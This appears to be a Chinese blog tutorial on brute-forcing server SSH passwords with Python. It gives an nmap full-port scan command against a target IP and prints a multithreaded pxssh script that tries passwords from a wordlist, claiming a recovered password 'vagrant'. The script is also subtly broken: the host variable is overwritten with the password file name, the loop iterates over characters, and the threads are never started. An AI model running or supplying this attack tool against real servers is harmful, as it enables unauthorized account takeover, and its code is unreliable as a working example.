服务器暴力破解的程序(python开发)
首先我们看一下基本的原理以及过程
Paste_Image.png我们首先看一下准备工作:
我们需要获取目标机器的IP和SHH端口 ssh端口是可以改变的,所以我们需要去扫描机器的正确的ssh端口。我们使用nmap工具去扫描,使用下面这条命令就可以目标机器上面存在的所有的端口以及服务的名称和使用软件的版本号:
Nmap -v -p 1-65535 -sV -O -sS -T4 192.168.1.110(目标机器)
Paste_Image.png
大家可以看到我们的ssh端口是我们的12784。ssh版本是5.3
现在我们以及获取到我们需要的信息了
IP:192.168.1.110 PORT:12784
我们可以开始破解了。 Paste_Image.png
大家可以看到password Found: vagrant
这个就是我们的目标机器的密码:
#python pexpect pxssh远程登录 login()方法可以帮助我们去登录目标机器
from pexpect import pxssh
import optparse #处理我们命令行参数的模块
from threading import * #多线程 高并发 可以同时登录多个密码
import time
maxConnections = 5 #执行最大线程数 可以修改
#把maxConnection绑定到我们BoundedSemaphore方法 赋值给connection对象
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False #设置一个初始化值 false后面会用到
Failes = 0 #设置一个初始化值为0
def connect(host, user, password, ports, release): #传了5个变量进去
global Found
global Failes
try:
s = pxssh.pxssh() #把方法绑定到对象s 方便调用
s.login(host,user,password,ports) #调用我们的pxssh.login方法并把参数传进去
print '[+] Password Found:' +password #打印匹配到的密码
Found = True #如果等于true就结束
except Exception, e:
if 'read_nonblocking' in str(e): #这个字符串表示主机连接次数过多,ssh不对外提供服务
Failes += 1
time.sleep(5) #休息5秒
connect(host,user,password,False) #重新调用connect函数
finally:
if release:
connection_lock.release()
def main():
parser = optparse.OptionParser("usage%prog -H <target host> -u <user> -F <passwordfile> -P <port>")
#创建一个对象parser绑定一个帮助信息 自动生成
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-u', dest='user', type='string', help='specify target user')
parser.add_option('-F', dest='passwdFile', type='string', help='specify target password file')
parser.add_option('-P', dest='ports', type='string', help='specify target ports')
#当我们输入-p之后会把参数赋值给ports
(options, args)=parser.parse_args()
host = options.tgtHost
user = options.user
passwdFiles = options.passwdFile
host = options.passwdFile
ports = options.ports
if (host==None) | (user==None) | (passwdFiles==None) | (ports==None):
#判断获取的值是否为空,如果有一个为空就打印帮助信息
print parser.usage #打印帮助信息
exit()
fn = open(passwdFiles,'r') #使用open方法打开文件并绑定到fn这个对象
for line in fn.readline():
if Found:
print "[*] exiting: password Found"
exit()
if Failes > 5:
print "[!]exiting: Too many socket timeouts"
exit()
connection_lock.acquire() #锁定
password = line.strip('\r\n')
print "[-] Testing: " +str(password)
t = Thread(target = connect(), args=(host, user, password, ports, True))
#启动多线程,并传入方法connet函数 args是函数的参数
if __name__ == '__main__':
main()
如果您对服务器暴力破解和Python相关知识有兴趣,可以加群526929231
与大神们共同探讨和学习哦!
网友评论